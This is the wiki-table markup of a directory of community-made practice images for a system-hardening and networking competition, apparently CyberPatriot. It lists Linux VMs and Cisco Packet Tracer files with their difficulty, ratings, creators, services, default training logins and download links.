| &#039;&#039;&#039;eth007&#039;s Arena (Debian 11)&#039;&#039;&#039;&lt;br /&gt;
| Debian 11&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| eth007&lt;br /&gt;
| Dovecot, Postfix, Apache2&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1Q65-3hOYKSssoMtwZBQND_o5BsiX1bjS/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Potato Kingdom&#039;&#039;&#039;&lt;br /&gt;
| Mint 21&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| samn0270_65431&lt;br /&gt;
| Mailcow, Postfix, Dovecot, SOGo, PHP-FPM, Nginx, MariaDB, Redis, Rspamd&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;puhtahto&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;potato&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1NPcR_uo73NvqtaC8ebIU19xTrIu4w0eB/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Botforge Practice&#039;&#039;&#039;&lt;br /&gt;
| Mint 22&lt;br /&gt;
| data-sort-value=&amp;quot;6&amp;quot; | 6 – Hard - Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| tirefire&lt;br /&gt;
| SSH, Nginx, MariaDB, Docker&lt;br /&gt;
| —&lt;br /&gt;
| [https://tirefire.org/posts/botforge-practice/ Author&#039;s page]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Fellowship of the Ring (Sys Hardening 8)&#039;&#039;&#039;&lt;br /&gt;
| Fedora 38&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| eth007&lt;br /&gt;
| SSH (openssh-server), HTTP (boa)&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1pf11TRG9gh94x0wli3-tX3P4PlQhccmW/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Hollow Knight&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 24.04&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| aryajb_&lt;br /&gt;
| Apache, MySQL&lt;br /&gt;
| Default login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;knight&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;password&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/drive/folders/1cpgftalqqRAitYMl3Z31RrKJm6FOHJ5D?usp=sharing Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Little Big Planet&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 16.04&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;1.0&amp;quot; | 1&lt;br /&gt;
| Unknown&lt;br /&gt;
| SSH, vsftpd&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/135ReRspmJm-4Kv4el_g-zpJITXDZUUO3/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;1984&#039;&#039;&#039;&lt;br /&gt;
| Mint 22.3&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| ml2322&lt;br /&gt;
| Dovecot, MLSMTP, SFTP (ssh)&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;Walkthrough: https://raw.githubusercontent.com/Matthiasclee/1984-Mint22.3/refs/heads/master/Walkthrough.pdf&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| [https://cypat.s3.us-west-1.amazonaws.com/1984.zip Amazon S3]&amp;lt;br /&amp;gt;[https://raw.githubusercontent.com/Matthiasclee/1984-Mint22.3/refs/heads/master/Walkthrough.pdf Walkthrough (spoilers)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Nevermore&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;7.0&amp;quot; | 7&lt;br /&gt;
| hypernova&lt;br /&gt;
| OpenSSH, Seafile, MySQL&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;waddams&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;password&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1EW3hsjZMM--UtoFJuYBVbAMhUwU4Z8gn/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Kimetsu No Yaiba&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22.04&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;6.5&amp;quot; | 6.5&lt;br /&gt;
| samn0270_65431&lt;br /&gt;
| OpenSSH Server, Very Secure FTPD, PostgreSQL&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1O3TSZnGTQf-pgcBOs7-d2XPuqYWgtCWE/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Aperture Science Ubuntu&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22.04&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.5&amp;quot; | 9.5&lt;br /&gt;
| InfernusHawk&lt;br /&gt;
| OpenSSH Server (SSH), FTP Server (vsftpd), Apache Server (apache2)&lt;br /&gt;
| The difficulty is an unconfirmed estimate based on the Aperture Science Windows image.&lt;br /&gt;
| [https://drive.google.com/file/d/1_ZDn7K4Xy6pQ5YXWroqBkZoIdYfSivkT/view Google Drive]&amp;lt;br /&amp;gt;[https://discord.com/channels/301768361136750592/1058312750905954397/1153448304768716862 Extra details (Discord, needs access)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;LAMP Stack Practice&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 16&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| LAMP + Wordpress&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1vAq_f9lZq3vyFIu6fjwDcpsuMv-saUez/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Among Us (Sys Hardening 10)&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22.04&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| FIREPONY57&lt;br /&gt;
| Samba, MySQL Server, SSH&lt;br /&gt;
| System Hardening 10 contains additional fixes.&lt;br /&gt;
| [https://drive.google.com/file/d/1z64QN-DWQHXQbDGuslJc68pD-ggtJcsx/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Space Force Server&#039;&#039;&#039;&lt;br /&gt;
| Debian 8&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;3.0&amp;quot; | 3&lt;br /&gt;
| Magistrate&lt;br /&gt;
| ProFTPD, Bind9, SSH&lt;br /&gt;
| The services are inferred; the image does not state them.&lt;br /&gt;
| [https://drive.google.com/file/d/1Eo6FIq9UfWtzyIso62FH9yJ922Kvj54T/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Kalis Ubuntu Image&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 18&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| KaliPatriot&lt;br /&gt;
| Open SSH Server (sshd), Very-Secure FTP Server (vsftpd)&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;Additional information can be found here https://discord.com/channels/301768361136750592/414537868766347265/1059965290328367286&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1ZLKf-DAij1VN6aFz6T5Z3fpGEpfxJWzo/view?usp=sharing Google Drive]&amp;lt;br /&amp;gt;[https://discord.com/channels/301768361136750592/414537868766347265/1059965290328367286 Extra details (Discord, needs access)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;X-Men&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 24.04&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| fastanddanger2&lt;br /&gt;
| Open SSH Server (sshd), Apache2 Web Server (apache2), VSFTPD FTP Server (vsftpd)&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/18mJ9lTTc8JR-jRz7eL1cqdJEKGrOFeCv/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Narnia Minecraft Server (Sys Hardening 6)&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;9.3&amp;quot; | 9.3&lt;br /&gt;
| eth007&lt;br /&gt;
| SSH (openssh-server), HTTP (nginx), Minecraft server&lt;br /&gt;
| A walkthrough exists. Give the image everything you have before opening it.&lt;br /&gt;
| [https://drive.google.com/file/d/12x8aYXIpGwO47MIvUCB6G3bqV-8npVUx/view Google Drive]&amp;lt;br /&amp;gt;[https://github.com/Quasar0147/Syshardening-6-Writeup/tree/main Walkthrough (spoilers)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Rooreaper Strikes Back (Sys Hardening 7)&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| eth007&lt;br /&gt;
| SSH (openssh-server)&lt;br /&gt;
| A walkthrough exists. Give the image everything you have before opening it.&lt;br /&gt;
| [https://drive.google.com/file/d/1gyshPKjhQ2o907LQpwB_gq3BeqwmN2ko/view Google Drive]&amp;lt;br /&amp;gt;[https://github.com/ImaginaryCTF/ImaginaryCTF-2022-Challenges/tree/master/Misc/system-hardening-7 Walkthrough (spoilers)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Cybertech Ubuntu Image&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 24.04&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| immortalmanan&lt;br /&gt;
| None&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;jmuskington&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;password123!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/10QHbNdrtHqyX0U-5KMdIBHvdUt8FVi4e/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Bloons TD 6&#039;&#039;&#039;&lt;br /&gt;
| Debian 10&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Mobmaker&lt;br /&gt;
| OpenSSH&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1-QN2GjowfgRHPnI9JibqwZiyx-mGgCzT/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Age of Pirates&#039;&#039;&#039;&lt;br /&gt;
| Mint 22&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| gooseman&lt;br /&gt;
| OpenSSH, vsftpd, Apache2&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;jack_sparrow&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;C@pt@1nJack#321&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;An answer key / walkthrough exists.&amp;lt;!-- TODO: add link; it was not in the exported sheet --&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1uXWLFdBXJ-_IgD2vtWKtXLmW4oiE6vOr/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Critical Service Chaos&#039;&#039;&#039;&lt;br /&gt;
| Debian 10&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| OpenSSH Server (sshd), NGINX Webserver (nginx), Apache Webserver (apache2), Samba Server (smbd), PostgreSQL (postgresql)&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;admin-bear&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;^qpwp4Wr&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/drive/folders/1v_n7FT-tcrZSNMtm_9SyDPEh8i-5AYEf Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Nintendo Semifinals Practices&#039;&#039;&#039;&lt;br /&gt;
| Debian 11&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| LAMP (all component + WordPress)&lt;br /&gt;
| After extracting, delete &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Nintendo Debian 11 Semifinals Practice Image.vmsd&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; from the folder.&lt;br /&gt;
| [https://drive.google.com/file/d/1YEWwGZPPGMZmhno2HVDOk5To4eSbBYiC/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Mr. Robot&#039;&#039;&#039;&lt;br /&gt;
| Fedora 37&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| tirefire&lt;br /&gt;
| SSH (unconfirmed)&lt;br /&gt;
| Corrections for the forensics questions are on the author&#039;s page.&lt;br /&gt;
| [https://ln5.sync.com/dl/3e4ff83c0/u2wyn5b9-yuthhkgw-dqhghbr4-qme8tqjx Sync.com]&amp;lt;br /&amp;gt;[https://tirefire.org/posts/fedora-practice/ Author&#039;s page]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;House on the Borderland&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 20&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| poarthanarseus&lt;br /&gt;
| None&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1MaEmGrTFMZIcG2S0DPCLDfWffThndkGk/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;System Hardening 11&#039;&#039;&#039;&lt;br /&gt;
| Mint 22&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| shubuntu + prilasey&lt;br /&gt;
| SSH, Samba&lt;br /&gt;
| Has a scoring issue with FQ5; an updated README is available.&amp;lt;!-- TODO: add README link; not in the exported sheet --&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1dQfLPgzDq-iaXBCNLLrgDsWxYtpTWbDP/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Eric Zuniga Ubuntu CP ImageAeacusv2&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu (version unknown)&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Eric Zuniga&lt;br /&gt;
| —&lt;br /&gt;
| From the &amp;quot;CyberSpace Image Directory&amp;quot;; not verified to work.&lt;br /&gt;
| [https://drive.google.com/file/d/1yt3PaFp1Kb7Hv50Uszmq3klkGfWSqIxI/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Ubuntu16-FlashGordonScoreAeacus&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 16&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| From the &amp;quot;CyberSpace Image Directory&amp;quot;; not verified to work.&lt;br /&gt;
| [https://drive.google.com/file/d/1la-V6x0EI3IcTaHJhAXcXtH6PM5bjx0w/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;GreenArrowUbuntu16Lvl7&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 16&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| From the &amp;quot;CyberSpace Image Directory&amp;quot;; not verified to work.&lt;br /&gt;
| [https://drive.google.com/file/d/1Gjh93xlDgRV3Vp1XXazlOUL-uVRLeu7n/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;SuperGirl-Ubuntu16&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 16&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| From the &amp;quot;CyberSpace Image Directory&amp;quot;; not verified to work.&lt;br /&gt;
| [https://drive.google.com/file/d/1vZ6AXodZW96_yoiLWo8E1bxKkSx_G_wD/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Seinfield&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu (version unknown)&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| hashfastr&lt;br /&gt;
| —&lt;br /&gt;
| Very old image, from around CyberPatriot season 8.&lt;br /&gt;
| [https://practicevms.s3.us-east-1.amazonaws.com/Seinfeld+ubuntu+image+by+Sylvain+Jones.zip Amazon S3]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Cisco Packet Tracer ==&lt;br /&gt;
&lt;br /&gt;
These are Packet Tracer activity files (&amp;lt;code&amp;gt;.pka&amp;lt;/code&amp;gt;). You need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy. Open the file, read the instructions and complete the tasks.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable sortable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Image&lt;br /&gt;
! Difficulty&lt;br /&gt;
! Rating&lt;br /&gt;
! Creator&lt;br /&gt;
! Major protocols&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Notes&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Download&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;CCNA Mega Lab (Jeremy&#039;s IT Lab).pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.7&amp;quot; | 9.7&lt;br /&gt;
| Jeremy IT Lab&lt;br /&gt;
| VLANs, L2 and L3 EtherChannels, IPv4 addressing, HSRP, Rapid PVST+, OSPF, static routing, DHCP, NTP, SNMP, Syslog, FTP, SSH, NAT, ACLs and other L2 security features, IPv6 addressing, wireless&lt;br /&gt;
| Walkthrough available from Jeremy&#039;s IT Lab.&amp;lt;!-- TODO: add link; not in the exported sheet --&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1WsLlEmMS38Zfq0AOg3fq3TZmTX7sSPMz/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Modules_1_13_Image.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;6&amp;quot; | 6 – Hard - Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| noobfooditem123&lt;br /&gt;
| OSPF, ACL, VPN/IPSec&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1NOZvFVst0RhbQuH18WS8P_t8mRubvTgf/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Final_R3_BDSM.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;4.0&amp;quot; | 4&lt;br /&gt;
| crescental_, toasty3302&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;DHCP, VLANs &amp;amp; Trunking, Inter-VLAN Routing (SVI on MLS), OSPF, Static Routing, NAT, Syslog, NTP, AAA w/ TACACS+, SSH&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| dw about the name lol&lt;br /&gt;
| [https://drive.google.com/file/d/1h-9tX9uS4WO-giUBY0LWhDPLOpurR8x5/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;R3_OKCUP_23_24_CiscoPT.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| Oklahoma Cup&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;SSH, NTP, Syslog, NAT (Static, Dynamic, PAT), DHCP, ACL (Standard &amp;amp; Extended)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/18y8PBfuA_dF9tmlhD6-_CjSaIJESHVnM/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;R3_OKCUP_24_25_CiscoPT.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;7.0&amp;quot; | 7&lt;br /&gt;
| Oklahoma Cup&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;SSH, NTP, Syslog, NAT (Static, Dynamic, PAT), DHCP, ACL (Standard &amp;amp; Extended)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1QbC1NRSNZ26EBlEQnee0LjSrBW-SW2fu/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Atomic Inn&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| AntryCat&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;OSPF, Static Routing, VLANs, Trunking, Inter-VLAN Routing (SVI on MLS &amp;amp; RoaS), EtherChannel (LACP), Spanning-Tree, HSRP&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| Report issues to @antrycat on Discord.&lt;br /&gt;
| [https://drive.google.com/file/d/15qO2QE1wzdM6shxb4pHFLYHIaocp4s_w/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;R2_OKCUP_24_25_CiscoPTUNLOCKED.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| Oklahoma Cup&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;OSPF, Static Routing, VLAN &amp;amp; Trunking, Inter-VLAN Routing (SVI on MLS, RoaS), SSH&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1Qy-oZx8F-jvvEfYJ0_i0kX3wCvmshXsY/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;AP CyberPatriot Networking R2 Full Exam&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;8.5&amp;quot; | 8.5&lt;br /&gt;
| lolmenow, okdargy&lt;br /&gt;
| —&lt;br /&gt;
| Mock exam; the answer key is on the same page.&lt;br /&gt;
| [https://sakouk.me/blog/2026/AP-CyberPatriot-R2-Mock-Exam.html Author&#039;s page]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;R1_OKCUP_24_25_CiscoPT.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;2&amp;quot; | 2 – Easy - Medium&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Oklahoma Cup&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;IPv4 Addressing, Static Routing, VLANs &amp;amp; Trunking, Inter-VLAN Routing (SVI on MLS), SSH&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1DCm-k1fsHxDFNW58mTkg4Bfjjnj-fwa7/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Pixystems.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;2&amp;quot; | 2 – Easy - Medium&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| AntryCat&lt;br /&gt;
| &amp;lt;nowiki&amp;gt;Static Routing, VLANs &amp;amp; Trunking, Inter-VLAN Routing (SVI on MLS), IPv4 Addressing&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
| Report issues to @antrycat on Discord.&lt;br /&gt;
| [https://drive.google.com/file/d/1MWs3cVVo1RxIhpippNrkyIHrU4r7R127/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Baby Steps PKA&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;8.5&amp;quot; | 8.5&lt;br /&gt;
| stageking5000&lt;br /&gt;
| IPv4, IPv6 Addressing, VLANs, SSH, DTP&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1ZizvwKdlIjZyKwDIX3MoxnCqXiKW9H4j/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;NationalsEmulatorTemplate.pka&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| noobfooditem123&lt;br /&gt;
| —&lt;br /&gt;
| Meant to emulate the national round, as the name says.&lt;br /&gt;
